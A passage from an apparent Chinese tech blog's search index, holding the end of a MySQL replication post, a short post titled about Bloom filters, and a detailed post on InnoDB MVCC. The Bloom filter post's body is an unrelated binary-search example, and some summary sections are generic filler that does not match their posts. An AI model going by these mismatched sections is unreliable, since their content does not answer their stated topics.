中间件方案</h2><table><thead><tr><th>中间件</th><th>特点</th></tr></thead><tbody><tr><td>MyCat</td><td>功能全面，配置复杂</td></tr><tr><td>ShardingSphere</td><td>Apache项目，生态好</td></tr><tr><td>ProxySQL</td><td>轻量级，性能好</td></tr><tr><td>MaxScale</td><td>MariaDB官方</td></tr></tbody></table><p>#</p><h2 id="7-3-延迟处理"><a href="#7-3-延迟处理" class="headerlink" title="7.3 延迟处理"></a>7.3 延迟处理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">(Order order)</span> &#123;</span><br><span class="line">        <span class="comment">// 写主库</span></span><br><span class="line">        orderMapper.insert(order);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 强制走主库查询（避免延迟）</span></span><br><span class="line">        <span class="type">Order</span> <span class="variable">freshOrder</span> <span class="operator">=</span> orderMapper.selectByIdFromMaster(order.getId());</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 缓存预热</span></span><br><span class="line">        cache.put(order.getId(), freshOrder);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="八、复制监控"><a href="#八、复制监控" class="headerlink" title="八、复制监控"></a>八、复制监控</h2><p>#</p><h2 id="8-1-关键监控指标"><a href="#8-1-关键监控指标" class="headerlink" title="8.1 关键监控指标"></a>8.1 关键监控指标</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 复制延迟</span></span><br><span class="line"><span class="keyword">SHOW</span> SLAVE STATUS \G;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 复制线程状态</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    THREAD_ID,</span><br><span class="line">    NAME,</span><br><span class="line">    PROCESSLIST_COMMAND,</span><br><span class="line">    PROCESSLIST_STATE</span><br><span class="line"><span class="keyword">FROM</span> performance_schema.threads </span><br><span class="line"><span class="keyword">WHERE</span> NAME <span class="keyword">LIKE</span> <span class="string">&#x27;%slave%&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- binlog大小和增长</span></span><br><span class="line"><span class="keyword">SHOW</span> MASTER LOGS;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-2-自动化监控脚本"><a href="#8-2-自动化监控脚本" class="headerlink" title="8.2 自动化监控脚本"></a>8.2 自动化监控脚本</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="comment"># check_replication.sh</span></span><br><span class="line"></span><br><span class="line">DELAY=$(mysql -e <span class="string">&quot;SHOW SLAVE STATUS\G&quot;</span> | grep <span class="string">&quot;Seconds_Behind_Master&quot;</span> | awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$DELAY</span>&quot;</span> = <span class="string">&quot;NULL&quot;</span> ] || [ <span class="string">&quot;<span class="variable">$DELAY</span>&quot;</span> -gt 60 ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;复制异常，延迟: <span class="variable">$&#123;DELAY&#125;</span>秒&quot;</span> | mail -s <span class="string">&quot;MySQL复制告警&quot;</span> dba@company.com</span><br><span class="line"><span class="keyword">fi</span></span><br></pre></td></tr></table></figure><h2 id="九、总结"><a href="#九、总结" class="headerlink" title="九、总结"></a>九、总结</h2><table><thead><tr><th>复制模式</th><th>数据安全</th><th>性能</th><th>适用场景</th></tr></thead><tbody><tr><td>异步复制</td><td>低</td><td>高</td><td>读扩展、备份</td></tr><tr><td>半同步复制</td><td>中</td><td>中</td><td>一般生产环境</td></tr><tr><td>组复制</td><td>高</td><td>低</td><td>金融级高可用</td></tr></tbody></table><table><thead><tr><th>配置项</th><th>建议</th></tr></thead><tbody><tr><td>binlog_format</td><td>ROW</td></tr><tr><td>sync_binlog</td><td>1（半同步）/ 1000（异步）</td></tr><tr><td>gtid_mode</td><td>ON</td></tr><tr><td>read_only</td><td>从库开启</td></tr><tr><td>slave_parallel_workers</td><td>CPU核数的一半</td></tr></tbody></table><p>主从复制的核心要点：</p><ol><li>选择合适的复制模式（异步/半同步/GTID）</li><li>监控复制延迟，及时发现和处理问题</li><li>合理设计读写分离策略</li><li>定期校验主从数据一致性</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> MySQL </tag>
            
            <tag> 数据库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>布隆过滤器适合解决什么问题</title>
      <link href="//bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/"/>
      <url>//bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="布隆过滤器适合解决什么问题"><a href="#布隆过滤器适合解决什么问题" class="headerlink" title="布隆过滤器适合解决什么问题"></a>布隆过滤器适合解决什么问题</h1><p>布隆过滤器用一定的误判率换取了极低的空间占用。本文讲它适合解决什么问题。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL MVCC多版本并发控制</title>
      <link href="//mysql-mvcc-multi-version-concurrency/"/>
      <url>//mysql-mvcc-multi-version-concurrency/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL-MVCC多版本并发控制"><a href="#MySQL-MVCC多版本并发控制" class="headerlink" title="MySQL MVCC多版本并发控制"></a>MySQL MVCC多版本并发控制</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="一、为什么需要MVCC"><a href="#一、为什么需要MVCC" class="headerlink" title="一、为什么需要MVCC"></a>一、为什么需要MVCC</h2><p>#</p><h2 id="1-1-并发读写的矛盾"><a href="#1-1-并发读写的矛盾" class="headerlink" title="1.1 并发读写的矛盾"></a>1.1 并发读写的矛盾</h2><p>传统锁机制下：</p><ul><li>读操作加共享锁</li><li>写操作加排他锁</li><li>读写互相阻塞</li></ul><p>在高并发场景下，大量读请求被写请求阻塞，性能急剧下降。</p><p>#</p><h2 id="1-2-MVCC的解决思路"><a href="#1-2-MVCC的解决思路" class="headerlink" title="1.2 MVCC的解决思路"></a>1.2 MVCC的解决思路</h2><p><strong>核心思想</strong>：写操作不覆盖旧数据，而是生成新版本；读操作根据可见性规则选择合适版本读取。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">时间线：</span><br><span class="line">T1: 读取数据（看到版本V1）</span><br><span class="line">T2: 修改数据（生成版本V2）</span><br><span class="line">T3: 读取数据（仍看到版本V1，不被T2阻塞）</span><br></pre></td></tr></table></figure><h2 id="二、MVCC的实现基础"><a href="#二、MVCC的实现基础" class="headerlink" title="二、MVCC的实现基础"></a>二、MVCC的实现基础</h2><p>#</p><h2 id="2-1-隐藏字段"><a href="#2-1-隐藏字段" class="headerlink" title="2.1 隐藏字段"></a>2.1 隐藏字段</h2><p>InnoDB每行记录包含三个隐藏字段：</p><table><thead><tr><th>字段</th><th>长度</th><th>说明</th></tr></thead><tbody><tr><td>DB_TRX_ID</td><td>6字节</td><td>最后修改该记录的事务ID</td></tr><tr><td>DB_ROLL_PTR</td><td>7字节</td><td>回滚指针，指向Undo Log</td></tr><tr><td>DB_ROW_ID</td><td>6字节</td><td>隐藏主键（无显式主键时使用）</td></tr></tbody></table><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">+------+------+---------+------------+-------------+------------+</span><br><span class="line">| id   | name | balance | DB_TRX_ID  | DB_ROLL_PTR | DB_ROW_ID  |</span><br><span class="line">+------+------+---------+------------+-------------+------------+</span><br><span class="line">| 1    | Alice| 1000    | 100        | 0x7f...     | 1          |</span><br><span class="line">+------+------+---------+------------+-------------+------------+</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-Undo-Log版本链"><a href="#2-2-Undo-Log版本链" class="headerlink" title="2.2 Undo Log版本链"></a>2.2 Undo Log版本链</h2><p>每次UPDATE或DELETE操作，都会生成Undo Log：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">当前记录（最新版本，DB_TRX_ID=100）</span><br><span class="line">    │ name=&#x27;Alice&#x27;, balance=1200</span><br><span class="line">    │ DB_ROLL_PTR</span><br><span class="line">    ▼</span><br><span class="line">Undo Log（上个版本，由事务80修改）</span><br><span class="line">    │ name=&#x27;Alice&#x27;, balance=1000</span><br><span class="line">    │ DB_ROLL_PTR</span><br><span class="line">    ▼</span><br><span class="line">Undo Log（更早版本，由事务50插入）</span><br><span class="line">    │ name=&#x27;Alice&#x27;, balance=0（初始值）</span><br><span class="line">    │ DB_ROLL_PTR = NULL</span><br><span class="line">    ▼</span><br><span class="line">   NULL</span><br></pre></td></tr></table></figure><p><strong>关键</strong>：通过DB_ROLL_PTR形成版本链，可以回溯到任意历史版本。</p><p>#</p><h2 id="2-3-Undo-Log的类型"><a href="#2-3-Undo-Log的类型" class="headerlink" title="2.3 Undo Log的类型"></a>2.3 Undo Log的类型</h2><p><strong>insert undo log</strong>：</p><ul><li>事务插入记录时产生</li><li>事务提交后即可删除（不需要用于MVCC）</li></ul><p><strong>update undo log</strong>：</p><ul><li>事务更新或删除记录时产生</li><li>事务提交后不能立即删除</li><li>需要保留到没有比它更早的ReadView存在时</li></ul><h2 id="三、ReadView机制"><a href="#三、ReadView机制" class="headerlink" title="三、ReadView机制"></a>三、ReadView机制</h2><p>#</p><h2 id="3-1-什么是ReadView"><a href="#3-1-什么是ReadView" class="headerlink" title="3.1 什么是ReadView"></a>3.1 什么是ReadView</h2><p>ReadView是事务进行快照读时生成的”一致性视图”，决定事务能看到哪些版本的数据。</p><p>#</p><h2 id="3-2-ReadView的组成"><a href="#3-2-ReadView的组成" class="headerlink" title="3.2 ReadView的组成"></a>3.2 ReadView的组成</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">ReadView</span> &#123;</span><br><span class="line">    trx_id_t m_creator_trx_id;    <span class="comment">// 创建该ReadView的事务ID</span></span><br><span class="line">    ids_t m_ids;                   <span class="comment">// 生成ReadView时活跃的事务ID列表</span></span><br><span class="line">    trx_id_t m_up_limit_id;       <span class="comment">// m_ids中的最小值（低水位）</span></span><br><span class="line">    trx_id_t m_low_limit_id;      <span class="comment">// 下一个要分配的事务ID（高水位）</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-可见性判断算法"><a href="#3-3-可见性判断算法" class="headerlink" title="3.3 可见性判断算法"></a>3.3 可见性判断算法</h2><p>对于某条记录，其DB_TRX_ID与ReadView的比较：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">if (DB_TRX_ID == m_creator_trx_id) &#123;</span><br><span class="line">    // 自己修改的，可见</span><br><span class="line">    return VISIBLE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">if (DB_TRX_ID &lt; m_up_limit_id) &#123;</span><br><span class="line">    // 在ReadView创建前已提交，可见</span><br><span class="line">    return VISIBLE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">if (DB_TRX_ID &gt;= m_low_limit_id) &#123;</span><br><span class="line">    // 在ReadView创建后启动，不可见</span><br><span class="line">    return INVISIBLE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">if (m_ids.contains(DB_TRX_ID)) &#123;</span><br><span class="line">    // 在ReadView创建时活跃（未提交），不可见</span><br><span class="line">    return INVISIBLE;</span><br><span class="line">&#125; else &#123;</span><br><span class="line">    // 在ReadView创建前已提交，可见</span><br><span class="line">    return VISIBLE;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>不可见时的处理</strong>：<br>通过DB_ROLL_PTR找到上一个版本，继续判断。</p><p>#</p><h2 id="3-4-不同隔离级别的ReadView差异"><a href="#3-4-不同隔离级别的ReadView差异" class="headerlink" title="3.4 不同隔离级别的ReadView差异"></a>3.4 不同隔离级别的ReadView差异</h2><p><strong>READ COMMITTED</strong>：</p><ul><li>每次SELECT生成新的ReadView</li><li>能看到其他事务最新已提交的数据</li></ul><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">T1（RC）：</span><br><span class="line">  SELECT * FROM user WHERE id = 1;  -- ReadView1，看到V1</span><br><span class="line">  </span><br><span class="line">  -- T2修改并提交</span><br><span class="line">  </span><br><span class="line">  SELECT * FROM user WHERE id = 1;  -- ReadView2，看到V2</span><br></pre></td></tr></table></figure><p><strong>REPEATABLE READ</strong>：</p><ul><li>事务第一次SELECT时生成ReadView</li><li>整个事务期间复用该ReadView</li></ul><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">T1（RR）：</span><br><span class="line">  SELECT * FROM user WHERE id = 1;  -- ReadView1，看到V1</span><br><span class="line">  </span><br><span class="line">  -- T2修改并提交</span><br><span class="line">  </span><br><span class="line">  SELECT * FROM user WHERE id = 1;  -- 仍用ReadView1，看到V1（不可重复读解决）</span><br></pre></td></tr></table></figure><h2 id="四、MVCC工作流程"><a href="#四、MVCC工作流程" class="headerlink" title="四、MVCC工作流程"></a>四、MVCC工作流程</h2><p>#</p><h2 id="4-1-插入操作"><a href="#4-1-插入操作" class="headerlink" title="4.1 插入操作"></a>4.1 插入操作</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">BEGIN</span>;  <span class="comment">-- 事务ID = 100</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> <span class="keyword">user</span> (id, name) <span class="keyword">VALUES</span> (<span class="number">1</span>, <span class="string">&#x27;Alice&#x27;</span>);</span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br></pre></td></tr></table></figure><p>生成的记录：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">id=1, name=&#x27;Alice&#x27;, DB_TRX_ID=100, DB_ROLL_PTR=NULL</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-更新操作"><a href="#4-2-更新操作" class="headerlink" title="4.2 更新操作"></a>4.2 更新操作</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">BEGIN</span>;  <span class="comment">-- 事务ID = 200</span></span><br><span class="line"><span class="keyword">UPDATE</span> <span class="keyword">user</span> <span class="keyword">SET</span> name <span class="operator">=</span> <span class="string">&#x27;Bob&#x27;</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br></pre></td></tr></table></figure><p>执行过程：</p><ol><li>复制旧记录到Undo Log</li><li>修改当前记录：<ul><li>name = ‘Bob’</li><li>DB_TRX_ID = 200</li><li>DB_ROLL_PTR → 指向Undo Log</li></ul></li></ol><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">当前记录:</span><br><span class="line">id=1, name=&#x27;Bob&#x27;, DB_TRX_ID=200, DB_ROLL_PTR→Undo Log</span><br><span class="line"></span><br><span class="line">Undo Log（事务100的版本）:</span><br><span class="line">name=&#x27;Alice&#x27;, DB_TRX_ID=100, DB_ROLL_PTR=NULL</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-删除操作"><a href="#4-3-删除操作" class="headerlink" title="4.3 删除操作"></a>4.3 删除操作</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">BEGIN</span>;  <span class="comment">-- 事务ID = 300</span></span><br><span class="line"><span class="keyword">DELETE</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br></pre></td></tr></table></figure><p>执行过程：</p><ol><li>复制记录到Undo Log</li><li>标记当前记录的delete flag = true</li><li>DB_TRX_ID更新为300</li></ol><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">当前记录:</span><br><span class="line">id=1, name=&#x27;Bob&#x27;, DB_TRX_ID=300, DB_ROLL_PTR→Undo Log, delete_flag=true</span><br><span class="line"></span><br><span class="line">Undo Log（事务200的版本）:</span><br><span class="line">name=&#x27;Bob&#x27;, DB_TRX_ID=200, DB_ROLL_PTR→更早的Undo Log</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-4-查询操作（快照读）"><a href="#4-4-查询操作（快照读）" class="headerlink" title="4.4 查询操作（快照读）"></a>4.4 查询操作（快照读）</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;  <span class="comment">-- 快照读</span></span><br></pre></td></tr></table></figure><p>执行过程：</p><ol><li>找到id=1的记录</li><li>根据ReadView判断可见性</li><li>如果当前版本不可见，沿Undo Log链找到可见版本</li><li>返回可见版本的数据</li></ol><p>#</p><h2 id="4-5-当前读（Current-Read）"><a href="#4-5-当前读（Current-Read）" class="headerlink" title="4.5 当前读（Current Read）"></a>4.5 当前读（Current Read）</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span> <span class="keyword">FOR</span> <span class="keyword">UPDATE</span>;  <span class="comment">-- 当前读</span></span><br><span class="line"><span class="keyword">UPDATE</span> <span class="keyword">user</span> <span class="keyword">SET</span> name <span class="operator">=</span> <span class="string">&#x27;Charlie&#x27;</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;  <span class="comment">-- 当前读</span></span><br><span class="line"><span class="keyword">DELETE</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;  <span class="comment">-- 当前读</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> <span class="keyword">user</span> ...  <span class="comment">-- 当前读</span></span><br></pre></td></tr></table></figure><p><strong>当前读特点</strong>：</p><ul><li>读取数据的最新版本</li><li>需要加锁</li><li>不受MVCC影响</li></ul><h2 id="五、MVCC与幻读"><a href="#五、MVCC与幻读" class="headerlink" title="五、MVCC与幻读"></a>五、MVCC与幻读</h2><p>#</p><h2 id="5-1-快照读与幻读"><a href="#5-1-快照读与幻读" class="headerlink" title="5.1 快照读与幻读"></a>5.1 快照读与幻读</h2><p>在REPEATABLE READ下：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 事务T1</span></span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">&gt;</span> <span class="number">5</span>;  <span class="comment">-- 读到3条（快照读，ReadView生成）</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 事务T2插入id=10并提交</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">&gt;</span> <span class="number">5</span>;  <span class="comment">-- 仍读到3条（RR保证）</span></span><br></pre></td></tr></table></figure><p><strong>原因</strong>：第二次查询仍使用第一次的ReadView，id=10的记录DB_TRX_ID是T2的，对T1不可见。</p><p>#</p><h2 id="5-2-当前读与幻读"><a href="#5-2-当前读与幻读" class="headerlink" title="5.2 当前读与幻读"></a>5.2 当前读与幻读</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 事务T1</span></span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">&gt;</span> <span class="number">5</span> <span class="keyword">FOR</span> <span class="keyword">UPDATE</span>;  <span class="comment">-- 当前读，加临键锁</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 事务T2插入id=10 → 被阻塞（间隙锁）</span></span><br></pre></td></tr></table></figure><p><strong>InnoDB解决幻读</strong>：</p><ul><li>快照读：通过MVCC的ReadView机制</li><li>当前读：通过间隙锁（Gap Lock）</li></ul><p>#</p><h2 id="5-3-幻读的特例"><a href="#5-3-幻读的特例" class="headerlink" title="5.3 幻读的特例"></a>5.3 幻读的特例</h2><p>MVCC不能完全解决所有幻读场景：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 事务T1（RR）</span></span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">10</span>;  <span class="comment">-- 不存在，返回空</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 事务T2插入id=10并提交</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 事务T1</span></span><br><span class="line"><span class="keyword">UPDATE</span> <span class="keyword">user</span> <span class="keyword">SET</span> name <span class="operator">=</span> <span class="string">&#x27;XXX&#x27;</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">10</span>;  <span class="comment">-- 成功！（当前读）</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">10</span>;  <span class="comment">-- 查到了！（幻读）</span></span><br></pre></td></tr></table></figure><p><strong>原因</strong>：UPDATE是当前读，能看到T2提交的数据并修改。修改后该记录的DB_TRX_ID变为T1，对自己可见。</p><h2 id="六、MVCC的清理机制"><a href="#六、MVCC的清理机制" class="headerlink" title="六、MVCC的清理机制"></a>六、MVCC的清理机制</h2><p>#</p><h2 id="6-1-Purge线程"><a href="#6-1-Purge线程" class="headerlink" title="6.1 Purge线程"></a>6.1 Purge线程</h2><p>Undo Log不能无限增长，需要清理：</p><ol><li><strong>确定清理范围</strong>：找到所有ReadView中最老的m_up_limit_id</li><li><strong>清理Undo Log</strong>：删除比该ID更早且已提交的Undo Log</li><li><strong>清理标记删除的记录</strong>：真正删除delete_flag=true且不可见的记录</li></ol><p>#</p><h2 id="6-2-历史列表长度"><a href="#6-2-历史列表长度" class="headerlink" title="6.2 历史列表长度"></a>6.2 历史列表长度</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看Undo Log历史列表长度</span></span><br><span class="line"><span class="keyword">SHOW</span> ENGINE INNODB STATUS;</span><br><span class="line"><span class="comment">-- History list length 1000</span></span><br></pre></td></tr></table></figure><p><strong>History list length过大</strong>：</p><ul><li>说明有大量未清理的Undo Log</li><li>可能原因：长事务、大量写操作</li><li>影响：查询需要遍历更多版本，性能下降</li></ul><h2 id="七、MVCC实践要点"><a href="#七、MVCC实践要点" class="headerlink" title="七、MVCC实践要点"></a>七、MVCC实践要点</h2><p>#</p><h2 id="7-1-避免长事务"><a href="#7-1-避免长事务" class="headerlink" title="7.1 避免长事务"></a>7.1 避免长事务</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看长事务</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    trx_id,</span><br><span class="line">    trx_mysql_thread_id,</span><br><span class="line">    trx_state,</span><br><span class="line">    TIMESTAMPDIFF(<span class="keyword">SECOND</span>, trx_started, NOW()) <span class="keyword">AS</span> trx_seconds</span><br><span class="line"><span class="keyword">FROM</span> information_schema.innodb_trx</span><br><span class="line"><span class="keyword">WHERE</span> TIMESTAMPDIFF(<span class="keyword">SECOND</span>, trx_started, NOW()) <span class="operator">&gt;</span> <span class="number">60</span>;</span><br></pre></td></tr></table></figure><p>长事务的危害：</p><ul><li>持有Undo Log不释放</li><li>导致History list length增长</li><li>影响查询性能</li><li>可能导致锁等待</li></ul><p>#</p><h2 id="7-2-选择合适的事务隔离级别"><a href="#7-2-选择合适的事务隔离级别" class="headerlink" title="7.2 选择合适的事务隔离级别"></a>7.2 选择合适的事务隔离级别</h2><table><thead><tr><th>场景</th><th>推荐隔离级别</th></tr></thead><tbody><tr><td>高并发读、少量写</td><td>READ COMMITTED</td></tr><tr><td>需要严格一致性</td><td>REPEATABLE READ</td></tr><tr><td>金融交易</td><td>REPEATABLE READ + 乐观锁</td></tr><tr><td>报表统计</td><td>REPEATABLE READ</td></tr></tbody></table><p>#</p><h2 id="7-3-理解快照读和当前读"><a href="#7-3-理解快照读和当前读" class="headerlink" title="7.3 理解快照读和当前读"></a>7.3 理解快照读和当前读</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 快照读（不加锁，读历史版本）</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 当前读（加锁，读最新版本）</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span> <span class="keyword">FOR</span> <span class="keyword">UPDATE</span>;</span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span> LOCK <span class="keyword">IN</span> SHARE MODE;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- DML都是当前读</span></span><br><span class="line"><span class="keyword">UPDATE</span> <span class="keyword">user</span> <span class="keyword">SET</span> ...;</span><br><span class="line"><span class="keyword">DELETE</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> ...;</span><br></pre></td></tr></table></figure><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><table><thead><tr><th>组件</th><th>作用</th></tr></thead><tbody><tr><td>DB_TRX_ID</td><td>标识数据版本</td></tr><tr><td>DB_ROLL_PTR</td><td>链接历史版本</td></tr><tr><td>Undo Log</td><td>存储历史版本数据</td></tr><tr><td>ReadView</td><td>决定数据可见性</td></tr></tbody></table><table><thead><tr><th>隔离级别</th><th>ReadView生成时机</th><th>效果</th></tr></thead><tbody><tr><td>READ COMMITTED</td><td>每次SELECT</td><td>解决脏读</td></tr><tr><td>REPEATABLE READ</td><td>第一次SELECT</td><td>解决脏读、不可重复读</td></tr></tbody></table><p>MVCC的核心价值：</p><ol><li><strong>读写不阻塞</strong>：读操作不加锁，写操作生成新版本</li><li><strong>一致性读</strong>：同一事务内多次读取结果一致</li><li><strong>高并发</strong>：大幅提升读密集型应用的并发能力</li></ol><p>理解MVCC机制，有助于：</p><ul><li>合理设计事务边界</li><li>选择合适的隔离级别</li><li>排查并发异常问题</li><li>优化长事务和Undo Log管理</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" 